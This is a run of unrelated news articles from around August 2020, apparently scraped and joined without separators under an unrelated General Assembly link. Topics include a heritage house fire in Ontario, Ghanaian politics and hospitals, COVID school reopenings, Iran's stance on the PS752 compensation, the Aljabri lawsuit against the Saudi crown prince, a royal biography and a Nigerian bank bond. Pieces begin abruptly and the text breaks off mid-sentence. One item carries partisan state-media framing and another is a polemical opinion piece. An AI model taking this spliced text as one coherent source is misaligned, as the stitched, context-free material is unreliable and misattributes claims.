https://generalassemb.ly . SOURCE General Assembly (GA) Related Links https://generalassemb.ly A July fire that destroyed an estate built in 1833 near Waterdown has left historians grieving the loss of a home that contained a density of history. Lyn Lunsted, volunteer archivist with the Flamborough Archives, says the residence known as Woodhill was one of the oldest homes in the area. She says the fire is a significant loss to the preservation of local history. There are not too many (houses from that era), and especially none of that architecture, said Lunsted, of the stucco-clad stone home known alternately as a Georgian-revival cottage or a regency bungalow. It was typical of Scottish immigrants of the time. The home on Mountain Brow Road East, near King Road, caught fire July 10 around 3 p.m. At the time, the Burlington Post reported a fire in a vacant home drew more than 20 firefighters and seven emergency vehicles. The home is not visible from the road but smoke could be seen from a significant distance. On Aug. 5, Burlingtons deputy fire Chief Charlie Birch said the house was largely destroyed. There were still some walls standing but (firefighters present) thought theyd probably have to be torn down. He said the damage was so severe that an investigation into the cause cannot be conducted. The Office of the Ontario Fire Marshal was consulted at the time, but did not investigate. Woodhill was built by Scottish lawyer and agriculturalist Adam Fergusson, who initially came to the area in 1831 to assess local farming techniques for the Highland Society of Scotland, an agricultural group. He returned with his family two years later, settling on the 120-acre property, which he named Woodhill after the estate of his birth in Perthshire, Scotland. Fergusson became deeply involved in efforts to improve agriculture in Canada. He was the first president of the Agricultural Association of Upper Canada in 1846 and helped establish the Upper Canada Veterinary School. That school evolved into the Ontario Veterinary College, which is now part of the University of Guelph. When it was designated (by Burlington as a heritage property), there were hopes there would be a partnership with the university and maybe turn it into some sort of museum where they would show people the farming and agricultural advances that Adam Fergusson brought into the country, said Lunsted. Its a shame that didnt happen. A heritage assessment completed in 2008 as part of the designation process lauded the propertys density of history. Fergusson also founded the town of Fergus in 1834, and commanded a militia unit during the Upper Canada Rebellion in 1837. Elwood H. Jones, professor emeritus of history at Trent University, wrote the entry about Fergusson in the Dictionary of Canadian Biography. Jones describes Fergusson as a lawyer by training and country gentleman by inclination, adding that he expects the Scotsman was more of a manager than someone who actually did farm work. Agriculture is what absorbed (him), but it appears to be mostly in the breeding of livestock. Fergusson was 50 when he arrived with seven children, his wife, a tutor and a household servant. Additional staff would have been required to work the farm, says Jones, who pointed to a description of the man in a collection called The Scot in British North America, published in 1881. He was known far and wide as the laird of Woodhill a landed proprietor remarkable for his benevolent and generous disposition. In person, he was tall, the picture of health and activity, and to the last he adhered to the old-fashioned dress which, a century ago, marked out the gentleman farmer. Fergusson was paralyzed by a stroke in 1860 and died two years later. His son, Adam Johnston Fergusson Blair, a notable politician of the day, then moved into Woodhill. Fergusson Blair was appointed to the first Canadian Senate, and he was the first president of the Privy Council. With the political leanings of both men, the house saw many prominent politicians visit there, including premiers and prime ministers, said Lunsted. To be selective in the chronicling of events, especially as they pertain to the dark chapters in our country's annals, which was what Prof Kwamena Ahwoi did in his 'Working With Rawlings' is regrettable and unfortunate. Expectedly, the book has attracted reactions from persons who have filled in the expunged segments. Prof Ahwoi has albeit succeeded in avoiding the minefields related to his contributions to the junta and beyond, something which as pointed out earlier is the reason why young men would howl at the founder of the party today, even he too has his set of skeletons in the closet. The Prof's undue benefits which he derived from his working under Rawlings even as he portrayed the picture of a social democrat in those days when he decided on the fate of his compatriots is what does not make him infallible and, therefore, beyond reproach. To nurture innocent young men into sharp-teethed persons and unleashing them onto the political plane when his own children and those of the members of the Ahwoi dynasty have benefitted from state largesse and working in posh employments abroad passes for self-centredness. The Citizens Vetting Committee (CVC) across which he straddled like a Colossus ushered in a reign of terror in the country; the like of which has never been known in the country. Ideological lunacy was the order of the day and business persons who were foolish as to become rich were targets of Kwamena's CVC. The Prof does not use 'Afro Moses' sandals any longer, his preference being something more sophisticated. Some of his victims when he was the alpha and omega of the CVCs could not recover from what they went through under the draconian junta, whose queer feature of jailing of persons it hated, the wealthy especially, for 200 years and beyond. The Machiavellian tactics, wicked as they were, emanated from the Prof's rulebook. What happened to the many disappeared Ghanaians? We might not know because the Prof did not touch this footnote in his literature. Didn't he know or he simply avoided it. Or he was not part of it. We are hard-pushed not to concur with someone's description of the Ahwois as persons with an obsessed sense of grabbing for themselves everything that belongs to government. Today, the family is light years away from poverty. Who says it is not pay to be politically cunning? Their ability to worm themselves into the successive NDC governments explains their dexterity, no cunningness. As for the Prof, when it suited him, the retired Air Force officer was good. No longer so after getting what he wanted. Source: Daily Guide Ghanas Health Minister, Kwaku Agyeman-Manu, has cautioned health workers to desist from seeking reposting when they are placed in some hard-to-reach rural communities across the country. The Minister said the practice must be discouraged as the president is working relentlessly to secure funds to bridge the health gap between rural and urban centres. Revisiting an encounter with such persons, he said a parent of a prospective health worker who had recently been posted to a rural area came to his office to seek reposting for his ward. However, upon realizing the motive of the parent he told him the president is going to build hospitals across the country. Mr Agyeman-Manu decried, the biggest challenge facing the ministry is the reluctance of prospective health workers to serve in facilities outside the big cities of Accra, Kumasi and to some extent Takoradi. This problem is further compounded by parents and relatives who come up with several stories hoping to effect changes after postings. He sternly cautioned let serve noticethat this phenomenon will no longer be countenanced as the country stands the risk of losing out on the achievement of the much talked about universal health coverage He made these remarks while speaking at the sod cutting ceremony at the Korle Bu Teaching Hospital in Accra, Tuesday August 11, 2020. As part of efforts to reduce this menace, Health Minister Agyemang Manu has announced plans by the Akufo-Addo-led government to complete the construction of some 11 health facilities across the country. He said these 11 do not form part of the Agenda 88 health facilities which the president promised in April 2020. We have come a long way in building our health care infrastructure through successive governmentsthe governments deliberate program will see the completion of 11 health care facilities by the close of the year at the following locations within the country; Somanya, Wheta, Sawla-Tuna-Kalba, Buipe and Tolon, Bekwai district hospital will be completed, Tepa is about to be completed, Nsoko . . . Twifo Praso, Kumahu and FomenaSo all these projects Mr president youll have to commission them before elections, well take you there . . . Source: Ghanaweb.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video San Antonio-area students will soon begin returning to school for the new year, but in ways most of them, or their parents, have never experienced before. All area students finished out the 2019-20 school year from their homes as the coronavirus pandemic took hold of San Antonio. And a resurgence of cases this summer squashed any hope of a uniform model of back-to school in the fall, forcing districts to all formulate their own plans for starting school. Based on guidance - often conflicting - from national, state and local authorities, the following list outlines the dates for the first day of school, both virtual and in-class, for all the major area public schools. Districts are listed in alphabetical order. Europeans should pay compensation for downed Ukrainian plane: Iran Central Insurance Iran Press TV Monday, 10 August 2020 2:01 PM The president of the Central Insurance of Iran says a Ukrainian passenger plane that was accidentally downed near Tehran in early January was insured by European firms and they should pay compensation for it. "This plane was insured by insurance firms in Ukraine and European reinsurance companies, and this issue has nothing to do with Iranian [insurance] companies," Gholamreza Soleimani said in a virtual meeting with reporters on Monday. "If any compensation is to be paid in this regard, it should be made by [those European] companies that had insured this plane," he added. With 167 passengers and nine crewmembers on board, Ukraine International Airlines flight PS752 crashed outside Tehran's Imam Khomeini International Airport on January 8, moments after takeoff. Iranian authorities acknowledged that the plane had been downed due to human error at a time when Iran's air defenses were on high alert due to increased hostile American aerial activity in the aftermath of Iran's missile strike on an Iraqi military base, which houses US-led coalition forces in the Arab country. The missile strike came after terrorist American forces assassinated Lieutenant General Qassem Soleimani, the commander of the Quds Force of the Islamic Revolution Guards Corps (IRGC), along with his companions, outside Baghdad International Airport on direct order from US President Donald Trump. Canada's Foreign Minister Francois-Philippe Champagne said on July 19 that the black box of the Ukrainian plane had arrived in France for analysis. Iran's Deputy Foreign Minister Mohsen Baharvand had said a day earlier that the black boxes had been sent to Paris for analysis. "The black boxes were transported to Paris yesterday by officials of the Civil Aviation Authority and a judge," he said. In a statement issued on July 12, the Civil Aviation Organization of the Islamic Republic of Iran (CAO.IRI) said the mismanagement of an air defense unit's radar system by its operator was the key "human error" that led to the accidental downing of the passenger plane. The organization said a failure in the mobile air defense system occurred due to a human error in following the procedure for aligning the radar, causing a "107-degree error" in the system. It also noted that due to radar misalignment, the air defense unit's operator misidentified the passenger plane as a target, which was approaching Tehran from southwest. Iranian Foreign Minister Mohammad Javad Zarif said on June 22 that the Islamic Republic had informed Ukraine that Tehran was ready to settle all legal issues pertaining to the tragic incident, establish a procedure for compensating the families of victims and reimbursing the Ukrainian airline for the incident. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address PASCAGOULA, Mississippi -- Students in the Pascagoula-Gautier School District joined their counterparts in the Ocean Springs and Jackson County districts in returning to school Monday. And, as with the other two districts, which returned to school last week, the Pascagoula-Gautier schools had a smooth first day, despite the necessary COVID-19 safety regulations, according to superintendent Wayne Rodolfich. I thought the day went great, Rodolfich said. I was so excited about the enthusiasm of our teachers and employees in the district, but moreso about the excitement of our students. I went through every classroom in our district over 500 classrooms in 19 schools and I had to ask maybe 6-7 students to adjust their mask so it covered their nose. Every student was wearing their mask. They had really good distancing rules in place, it was really well done. I think they did a really great job. Rodolfich noted there were hiccups with transportation, including drop-off lines, as well as scheduling, but said those were typical issues for a first day of school. He did note one problem at Pascagoula High School with some congestion in the cafeteria, but that issue was resolved Tuesday. As with other districts, students in the PGSD have their temperature taken when they get on their bus and again when they arrive at school. Students arriving by car are similarly tested. Any student whose temperature is at all above normal is retested. Rodolfich said to his knowledge there were no students sent home due to a high temperature reading. Rodolfich also noted that about 21 percent of the districts student population is currently enrolled in distance learning, leaving 6,200 students spread across the districts 19 campuses. That automatically reduces the number of students in our classrooms across the district, he said. The teacher-pupil rate in each classroom is pretty low right now, which makes social distancing that much easier to accomplish. Other safety measures implemented by the district is mandatory masks on buses, where students are seated one per seat unless sitting with a sibling; hand sanitizer in ample supply throughout the schools; doors are left open to prevent virus spread through repeated touching; classrooms are arranged for maximum social distancing; expanded dining areas with cafeterias limited to 50 percent of capacity or less; and protocols for students developing symptoms of COVID-19, including immediate isolation in a supervised area until parents arrive to pick up their child. In addition, the district has implemented multiple procedures for assisting students with the stresses endured during COVID-19. We really are in a good place, Rodolfich said. I know the reality is well eventually have to deal with a positive (COVID case) here and there and well have to cross that bridge when we come to it. But right now I just think parents are excited to have their kids back in school. I saw where Ocean Springs had high volumes in their car rider lines and it was the same for us, with all the parents bringing their kids back to school. Moss Point will be the last of the four school districts in Jackson County to begin the fall semester on Aug. 17, however the district will begin the year with all students on distance learning. The President of the Republic, Nana Addo Dankwa Akufo-Addo, on Tuesday, 11th August 2020, cut the sod for the construction and equipping of a twelve (12) storey four hundred (400) bed Maternity and Gynaecological Centre, and a two (2) storey one hundred and one (101) bed Urology and Nephrology Centre at the Korle-Bu Teaching Hospital. It will be recalled that, on 6th December, 2018, during his visit to Korle Bu, where he commissioned the Intensive Care Unit (ICU) of the National Reconstructive Plastic Surgery and Burns Centre for the Hospital, the President was struck by the poor state of the Maternity Block. I promised to remedy the situation, as the current state of the building is not fit for purpose. Todays ceremony is a fulfillment of the pledge I made, he said. President Akufo-Addo noted that the commencement of work on these two projects, in addition to the re-activation of construction work on the abandoned seven hundred and fifty (750) bed Maternity and Childrens Block at the Komfo Anokye Teaching Hospital in Kumasi, will significantly reduce maternal and neonatal mortality rates in the country. This, he explained, are further testimony to the commitment of Government to improve Ghanas countrys healthcare infrastructure, and move the country steadily towards the goal of achieving Universal Healthcare Coverage for all. Once completed, the 400-bed Maternity Block facility, President Akufo-Addo, said, will contribute to addressing the persistent challenges of high maternal and child health morbidity and mortality in Ghana. It will also accelerate our progress towards the achievement of the SDGs through enhanced access to quality maternal and child health services. To this end, Government has secured an amount of one hundred and forty-five million, two hundred and twenty thousand euros (145,220,000) from Standard Chartered Bank to cover the cost of the project, with an export credit guarantee from Swedish Export Credit towards the reconstruction of the maternity block. Additionally, the Project has an insurance cover of some nineteen million euros (18,973,024.85), and it is to be constructed through a joint venture entity known as HEDEBI JV. The partners of this group are Rizzani DE ECCHER, Bergam, and Hospital Engineering Ltd. Once completed, the 12-storey maternity block will have a four hundred (400) bed capacity; twenty (20) labour delivery rooms; one hundred (100) seater waiting area; twenty-six (26) recovery wards; eighteen (18) treatment rooms; twenty-four (24) consulting rooms; seven (7) theatres; IVF services; ten (10) room accommodation for new mothers; thirty-two (32) seater restaurant, with a preparation area; and an emergency unit with its own triage and operating theatre. Indeed, once completed, the Centre will be the first public facility to deliver IVF services in the Country. Urology and Nephrology Centre Cutting the sod for the construction of the 38 million Urology and Nephrology Centre of Excellence, also at the Korle Bu Teaching Hospital, President Akufo-Addo stated that the project is being funded by Raiffessen Bank International AG Ltd of Austria, with OeKB Group, also from Austria, providing insurance cover of 4,666,950. Once completed, it will offer advanced treatment for persons with genito-urinary conditions, chronic and acute kidney failures, as well as nephrology services such as kidney transplants. The two (2) storey Urology and Nephrology Centre will have a thirty-one (31) suite dialysis station for persons with kidney disorders, and seventy (70) beds for genito-urinary patients. The Centre will also provide out-patient services, and serve as a resource base to conduct research into urology and nephrology cases, he said. The President was confident that the construction of these facilities at Korle Bu Teaching Hospital will put Korle Bu in a strong position to give meaning to medical tourism services to neighbouring countries, thereby increasing its revenue base to expand services. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Japanese tyre major Yokohama on Monday said it has doubled manufacturing capacity at its Indian plant at Bahadurgarh in Haryana to 16 lakh tyres per year with the completion of second phase of expansion. The company, which started operations in India in 2014 with an initial capacity of 7 lakh tyres per year, has also hired 200 more employees at the plant to meet requirements for additional capacity. "In response to the increasing demand for Yokohama tyres in India and keeping in mind the projected market growth, we decided to double our domestic manufacturing capacities," Yokohama India Vice Chairman Anil Gupta said in a statement. "Incidentally it has happened at an opportune time as restrictions on import of tyres have been announced by the government," he added. This development also creates more job opportunities locally. Currently, the Bahadurgarh plant has over 500 employees and now with increased production, the number will go over 700, Gupta said. With the technological expertise from the parent company in Japan, Yokohama will now mass manufacture its extremely popular 'Geolandar A/T' along with 'Geolandar SUV' and 'BluEarth-RV02' tyres at this facility, the company said. "Several new offerings are also on the anvil to meet the changing needs of Indian motorists," the company added. Globally, Yokohama supplies tyres to car manufacturers including Audi, Honda, Mercedes Benz, Mitsubishi, Nissan, Porsche, Suzuki and Toyota, in addition to selling them in the replacement market. Also read: Russian roulette? Why Putin's COVID-19 vaccine claim feels dangerous A memorial service and funeral are planned for Spc. Vanessa Guillen this Friday and Saturday, according to the family's attorney Natalie Khawam. According to a Houston Chronicle article, the remains of Guillen were handed over to her family via a funeral home on Monday, Aug. 10, 110 days after she was murdered at Fort Hood, according to investigators. A former Saudi intelligence official who contends in a lawsuit that the kingdoms crown prince sent a hit squad to Toronto in a bid to kill him faces a daunting legal road. Experts say while there is international precedent for the strategy being employed by Saad Aljabri, he will need to overcome some potentially significant hurdles including the likely possibility the defendants will assert immunity and the mechanics of serving a lawsuit to a sitting crown prince. While its not the first time a lawsuit has been filed in the U.S. accusing a foreign government official of carrying out or attempting to carry out an extrajudicial killing, the high profile of Crown Prince Mohammed bin Salman he is considered de-facto ruler of the Saudi kingdom and is son of the king and the fact he is a sitting official makes this case stand out. It is outrageous for any country to authorize an extrajudicial killing, particularly in another country, says William Aceves, a law professor at the California Western School of Law. At the same time, I believe this lawsuit faces significant legal challenges. Foreign government officials are typically immune from civil liability in U.S. courts. As a result, the defendants will argue they are subject to immunity in U.S. courts. Aljabri, who is said to have developed a close relationship with U.S. intelligence officials on counterterrorism files, fled to Canada in 2017 around the time that bin Salman carried out a bloodless palace coup. He had maintained a relatively low profile in Toronto until last week, when he filed a lawsuit in U.S. District Court in Washington, D.C., accusing bin Salman of sending a group of hit men to Toronto to kill him in the fall of 2018, just a couple of weeks after the high-profile death of Saudi dissident Jamal Khashoggi inside the Saudi consulate in Turkey. The alleged plot was foiled when the team failed to get past border officers at Pearson airport, according to the lawsuit. The lawsuit, which names bin Salman and several associates as defendants, goes on to say that two of Aljabris children, Sarah and Omar, who were reportedly detained in Saudi Arabia earlier this year, are now being used as human bait to lure him out of hiding. Sarah and Omar have done nothing wrong, nor have they been accused of wrongdoing, Khalid Aljabri, one of Aljabris other children, wrote on Twitter on Tuesday. If they are alive, they are being held hostage in an illegal and immoral Saudi govt effort to force their father to return to Saudi Arabia, where he and they cannot expect justice. The defendants have not filed a response to the lawsuit. Once served, they have 21 days to respond. Saudi embassy officials in Ottawa and Washington, D.C., have not responded to repeated requests for comment from the Star. Immunity If bin Salman argues that he is entitled to some form of head-of-state immunity, theres no guarantee he will receive such protection, said Beth Van Schaack, a visiting professor in human rights at the Stanford University law school. Typically, such immunity applies narrowly to heads of state, heads of government (such as prime ministers) and foreign ministers, Van Schaack said. Since bin Salman is none of those technically, his father is head of state, for instance he may be out of luck. Bin Salman could also assert that he is entitled to something called functional immunity and argue that state officials are protected from any repercussions for acts carried out in their official duties. This, too, could be a tough sell. The U.S. Court of Appeals in the Fourth Circuit has previously determined in one case that under international and domestic law, officials from other countries are not entitled to foreign official immunity for jus cogens violations, such as crimes against humanity, even if the acts were performed in the defendants official capacity. There are occasions when the U.S. State Department is invited or chooses to weigh in with its view on whether a defendant is entitled to immunity, experts said. It remains to be seen whether the U.S. State Department will insert itself in this case. U.S. a prime place for a lawsuit Experts agree that the U.S. is probably one of the best places to file a lawsuit like this. Unlike most countries, the U.S. has adopted laws that allow victims of human rights violations to bring lawsuits in federal court against perpetrators, even when the harms occurred abroad. Asked this week why the lawsuit was filed in the U.S. as opposed to Canada, a source connected to Aljabri confirmed it was because the U.S. has a more favourable legislative regime for suing global bad actors. That said, Aljabri is still exploring legal action in Canada and Europe, the source said. According to the U.S. lawsuit, Aljabri is alleging the defendants attempted to carry out an extrajudicial killing a killing not authorized by a court in violation of the U.S. Torture Victim Protection Act, as well as international law under the U.S. Alien Tort Statute. Proving these allegations wont be a cake walk, experts said. In 2013, the U.S. Supreme Court ruled that the Alien Tort Statute does not apply to human rights violations committed in other countries, unless there is a strong connection to the United States. Much of the misconduct Aljabri has alleged happened in Saudi Arabia and Canada. But Van Schaack says Aljabri will likely argue there is still a sufficient nexus to the U.S. According to the lawsuit, bin Salman had previously deployed a network of covert agents in the U.S. to try to track down Aljabris whereabouts. The crown prince has also previously spent a lot of time in the U.S., visiting the White House and tech leaders in Silicon Valley. How do you serve a crown prince? Experts say the lawsuit could also get mired in procedural questions, including the manner in which the plaintiffs served the defendants with the lawsuit, said Beth Stephens, a Rutgers University law professor. U.S. federal rules outline a number of methods for serving foreign individuals with a lawsuit. It is unclear how Aljabris lawyers plan to serve the crown prince, whether its through the Saudi embassy or some other way. However hes served, it is unlikely that bin Salman will ignore the lawsuit given that he likely has assets in the U.S. and likely wants to be able to continue to travel to the U.S., experts say. Plus, bin Salman has resources to hire good lawyers. There is precedent While many cases filed in the U.S. against foreign actors have been dismissed due to immunity, there have been some successes, including lawsuits filed on behalf of thousands of Filipinos against Ferdinand Marcos, the former president of the Philippines, for human rights abuses that took place under his watch. (He was overthrown in 1986 and fled to Hawaii). Just this month, the U.S. Court of Appeals for the Eleventh Circuit released a judgment favourable to plaintiffs who invoked the Torture Victim Protection Act to sue Bolivias former president, Gonzalo Sanchez de Lozada, and former defence minister, Jose Carlos Sanchez Berzain, over the deaths of scores of civilians during a crackdown on protesters in 2003. A jury had previously awarded the plaintiffs $10 million in damages in 2018 but the trial court set aside the jury verdict and found the defendants not liable. The Court of Appeals has sent the case back to the district court to consider further arguments. Stephens said the fact the defendants reside in the U.S. and the fact the Bolivian government waived immunity for them helped move their case along. The (Torture Victim Protection Act) is a powerful statute, but its most powerful when the defendant is physically in the U.S. and doesnt have immunity, she said. Its a dance Experts say even if Aljabri is not able to get any damages out of the lawsuit, the serving of the lawsuit could put public pressure on the Saudi regime to ease off on its intimidation tactics against dissidents and former insiders around the world. Maybe this will cause the regime to think twice if these individuals start to fight back in their places of refuge. There may be a deterrent impact there, Van Schaack said. Its a dance. The music is starting to play. Everyone is getting their dance shoes on. Itll be interesting to see how this unfolds. Read more about: South Africa: COVID-19 task team to provide details of contracts, not to investigate Government has explained that the work of the ministers appointed by Cabinet to a ministerial task team, does not have a responsibility to investigate COVID-19 related contracts. The task of the ministerial committee is to compile and publish details of all COVID-19 related contracts awarded by all state entities. Contrary to some reports, the ministerial team does not have a responsibility to investigate COVID-19 related contracts. This remains the task of the relevant law enforcement agencies, Cabinet spokesperson, Phumla Williams said in statement. The Presidency said the team of ministers is expected to compile a comprehensive report of the details of all tenders and contracts awarded by national departments, provincial governments and other public entities as part of the response to the coronavirus pandemic. In the interests of transparency, these details will then be made public, Williams said. The team includes Justice and Correctional Services Minister Ronald Lamola, who was appointed as convenor of the team, Finance Minister Tito Mboweni, Public Service and Administration Minister Senzo Mchunu, Cooperative Governance and Traditional Affairs Minister Dr Nkosazana Dlamini-Zuma and Minister in The Presidency Jackson Mthembu. Williams said the duration of the ministerial team will be for the period required to complete the work. She noted that the compilation and publication of this information is aimed at enhancing transparency and accountability of government entities in the light of allegations of COVID-19 related corruption. The work of the Special Investigating Unit (SIU), which has been authorised by President Cyril Ramaphosa to investigate any unlawful or improper conduct in the procurement of goods and services during the national state of disaster in any state of institution, is continuing. This is taking place alongside the work of the recently established special coordination centre, to strengthen the collective efforts among law-enforcement agencies to prevent, detect, investigate and prosecute COVID-related corruption. This is in addition to the steps taken by National Treasury to tighten procurement regulations and the ongoing work of the Auditor-General to audit all COVID-19 expenditure, Williams explained. Government maintained that the compilation and publication of this information is necessary to promote greater accountability and transparency, and believes that it establishes an important precedent for future expenditure of this nature. Government is firmly committed to eradicating all forms of corruption and ensuring that all those responsible for such criminal conduct, regardless of who they are, face the full might of the law, Williams said. SAnews.gov.za This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. Photo credit: Chris Jackson - Getty Images From Esquire Today marks the release of Finding Freedom: Harry and Meghan and the Making of a Modern Royal Family, the long-awaited biography about Britain's most divisive couple. Safe to say, we're all destined for a few weeks of 'lively' debate. In the blue corner, normal people who think that Meghan and Harry simply deserve some peace and privacy. In the red corner, your furious aunt who keeps getting banned from Facebook. Ding ding ding! Most of the headlines will centre on Meghan, as they often do. That's why we decided to dig into Omid Scobie and Carolyn Durand's new book and pluck out some of the most revelatory Prince Harry insights. Check them out below, and order the biography here. Harry Instagram stalks, just like the rest of us Naturally both participants in this blind date did their homework with a thorough Google search. Harry, who scoped out Meghan on social media, was interested. A friend had shown him an Instagram photo of Meghan in a slinky silver mini dress at the CFDA/Vogue Fashion Fund Awards. He liked what he saw but he didnt necessarily think of drinks as anything more than a chance to be introduced to a woman he found attractive. He certainly could not have foreseen that she would be the woman he would one day marry. What is Wikipedia if not a dating profile database for famous people? It all sounds a bit stressful. At least Hinge doesn't have a 'controversies' section. The married couple have so far refused to reveal who set them up, but judging by the above information we can only deduce that Harry accidentally liked one of Meghans holiday pictures from 2011 and they took it from there. Photo credit: Michael Tullberg - Getty Images His private Instagram account, @SpikeyMau5, was an ode to electro With no face visible in the profile photo, just a mouse-shaped helmet, it would have meant nothing to most people. But it was in fact Harrys private account. A big house music fan, he crafted the pseudonym by using part of the name of one if his favourite DJs, DeadMau5. On Facebook his profile used to be King Julien, the eccentric lemur from the Dreamworks movie Madagascar. Story continues That DeadMau5 revelation has been doing the rounds for a while now, but the second bit has been criminally underreported. Why Madagascar? A kid's film released when he was 21-years-old, which tells the story of a caged animal who longs for freedom but is held back by his best friend, a charming, rule-following lion who goes by the nickname "The King of New York"? The mind boggles. Harry doesnt like wearing a tie To this day, Harry doesnt like wearing a tie. See? They had their first date at Soho House Not that anyone would have known. No front entrance for the pair, they were giving directions for how to get into the building using a discreet door away from prying eyes and familiar only to staff and delivery trucks bringing in produce and fresh fish from Billingsgate Market [] As patrons of the members-only club like to say, What goes on at Soho House stays at Soho house. Incorrect. What goes on at Soho House is loudly recounted on the Circle line is probably more apt. Their third date was a luxury safari in Africa Which sounds like an captivating whirlwind romance, until you read the sentence: Meghan immediately impressed Harry with her packing skills. Does she roll or fold? This is the royal gossip we need to know. He has a truly confusing approach to texting His messages were often short and full of emojis, in particular the ghost emoji, which he often uses instead of a smiley face. u wot m8? Harry was adamant that Sarah Ferguson attend his wedding Despite her acrimonious divorce from Prince Andrew, Harry made sure that the former royal was on the guestlist. It was Harry who later ensured that his aunt Sarah [Ferguson] was invited to the wedding ceremony and first reception quite the feat considering Prince Philip reportedly once said he never wanted to be in the same room as her again. Photo credit: Harry How - Getty Images Harry is challenging you to a swim. Do you accept? The book describes Harry's infamous trip to Las Vegas (where he was snapped cupping his family cock and balls in a tabloid scoop) as: A few alcohol-fuelled days (during which Harry challenged twelve-time Olympic medalist in swimming Ryan Lochte to a race at a pool party.) It doesn't reveal whether Lochte took him up on the offer, or whether Harry managed to throw a kettle over a pub in the immediate aftermath, or indeed if that was the real quiz all along. The Royal Family seemingly do all of their Christmas shopping at Urban Outfitters According to the book, they follow the German tradition of giving gifts on the 24 December, and don't bother with "lavish" presents. One year, Harry reportedly gave the Queen a shower cap emblazoned with the phrase Aint Life a Bitch, which she loved. Did she though? Another time he gifted his grandmother a Big Mouth Billy Bass singing toy [which] provided the Queen with great laughs. Kate, rumoured to have made her grandmothers chutney the first year at Sandringham, once gave Harry a 'Grow Your Own Girlfriend' kit [...] Princess Anne bought her brother Prince Charles a white leather toilet seat. Photo credit: WPA Pool - Getty Images He fell in a bush once As young royals, nights on the town sans paparazzi were hard to come by, so Harry and his brother would sneak out for drinks at oligarch haunt Mari Vanna, a Russian restaurant about a mile from Buckingham Palace. One night in 2016, they both got totally drunk, according to a source. But it wasnt until Harry went outside to smoke that there was a problem. He fell into a little bush. Someone tried to take a photo of him on their phone and Harrys protection officer literally jumped to block them from taking it, the source said. Harry was none the wiser. He just went back in to William, so they could carry on drinking. Williams trepidation over Meghan angered Harry Many of Harry's closest friends expressed concern and cynicism about Meghan, including Tom Skippy Inskip, but it was reportedly his brother's intervention that hurt the most. Dont feel like you need to rush this, William told Harry, according to sources. Take as much time as you need to get to know this girl. In those last two words, this girl, Harry heard the tone of snobbishness that was anathema to his approach to the world [] Harry was pissed off, another source said. Pissed off that his brother would ask such a thing. Some felt it was an overreaction. But then, this totally sums them up as people William the calm and rational one, and Harry, who cant help but take things far too personally. Harry was anti-ginger in his youth Charlie van Straubenzee, Harrys old boarding school friend, gave a speech at their wedding in which he talked about their younger days. It included the revelation that: Harry often hated other gingers as a kid without recognising that he was part of their tribe. Photo credit: WPA Pool - Getty Images The Royal Family began to panic about the brothers relationship According to the book, their relationship broke down to the point that high-ranking aides across all three royal households were [] openly discussing the impact it could have on the monarchy if things werent righted. We need to design a system to protect the monarchy full stop, one [courtier] said. Its not secret, the future of this monarchy relies solely on the four people currently in Kensington Palace. According to a source: Harry was upset that it was playing out so publicly and that so much of the information being reported was wrong [] There had been moments where he felt people working with his brother had put things out there to make William look good, even if it meant throwing Harry under the bus. It was a confusing time, and his head was all over the place he didnt know who or what to believe, and he and William werent talking enough either, which made everything a lot worse. Their offices were eventually separated, meaning both had to compete with each other to get funds for their projects from their father. That relationship is also reportedly complicated, with one source saying that, neither William nor Harry made much of an effort to make themselves available [for Charless seventieth birthday photo session]. But their relationship is being repaired After some time, the brothers made a conscious effort to accept each others differences. William was glad to be back on good terms with Harry. One Palace source shared that William told him in late March, You know what? Me and my brother, for the first time in two months, have had a really lovely conversation together. Like this article? Sign up to our newsletter to get more articles like this delivered straight to your inbox SIGN UP Need some positivity right now? Subscribe to Esquire now for a hit of style, fitness, culture and advice from the experts SUBSCRIBE You Might Also Like After its debut bond issue was oversubscribed by over 300 per cent, Nova Merchant Bank on Monday said its decision to approach the Nigerian capital market to raise funding was part of its strategy to mobilise developmental financing to support the countrys economic recovery. The Managing Director of the Bank, Anya Duroha, said during an online post-issue media briefing that the bank, which set out to raise N10 billion, realised over N31 billion. Mr Duroha, who described the offer as well received by the market, said the terms of the subordinated bond issue to be counted as Tier 2 capital was for seven years tenor recoverable after five years at between 12 and 12.5 per cent rate. He lamented the scourge of the COVID-19 pandemic on the global economy, saying the impact has been seriously stressful on the Nigerian economy, necessitating efforts to support a recovery from the devastation. As part of Novas strategy, we knew that as a merchant bank with an objective to do developmental financing, we needed to get long term funds to fund long term assets. That was why we went to the capital market to raise funds to finance long term loans for our customers, Mr Duroha said. But it was over-subscribed by about 300 per cent, with diversified investors from individuals, corporate entities, asset management companies, insurance companies and foreign investors that contributed over N31 billion, he added. With the overwhelming acceptability of the offer, Mr Duroha said the bank has plans to return to the market for more funds as part of its strategy to intervene in the capital market periodically, to raise capital. Although the timing for the return to the capital market was yet to be agreed by the banks management, he said at the moment, the bank was preoccupied with the deployment of the funds raised to key sectors of the economy identified that require support to recover. On projects and sectors the funds would go to after the first tranche, Mr Duroha said the bank was looking at the prospect of creating medium to long term loans with tenor ranging between three and five years for industries like agriculture, telecoms and healthcare, where clear opportunities exist to tap into. He said a substantial part of the funds would also go to financing and building capacity for exports for the country. Insisting the primary reason for raising the bond was not for capital, but for long term funds for its customers, the MD said with the banks capital base of over N20 billion, its capital adequacy ratio is at about 53.57 per cent as of 2019, above the regulatory ratio of 10 per cent. Reviewing the performance of the bank in the last three years it has been in business, he said the bank has done very well, with earnings growing from about N1.2 billion in 2017 to about N5.8billion in 2019, with profitability also on the upswing. In its first year of operations, he said the bank made N510 million profit and in the second-year, doubled the figure to N1.15 billion, and to N1.65 billion in 2019. Lamenting the impact of COVID-19 crisis, he said Nova saw ahead of the pandemic, adding that immediately the outbreak was reported in China, it knew it was inevitable it would get to everybody around the world. Consequently, he said the bank began to prepare to take advantage of the business opportunities that would come out of the crisis situation. On the banks performance since the beginning of the current year, Mr Duroha said in the first six months of the banks operations, Nova outdid its expectations under the COVID-19 pandemic. He attributed this to the prudence and proactive steps by the management of the bank to identify areas where businesses could be done and money made. Although the current crisis impacts more on the greater segment of the population, he said as a merchant bank its focus was primarily on 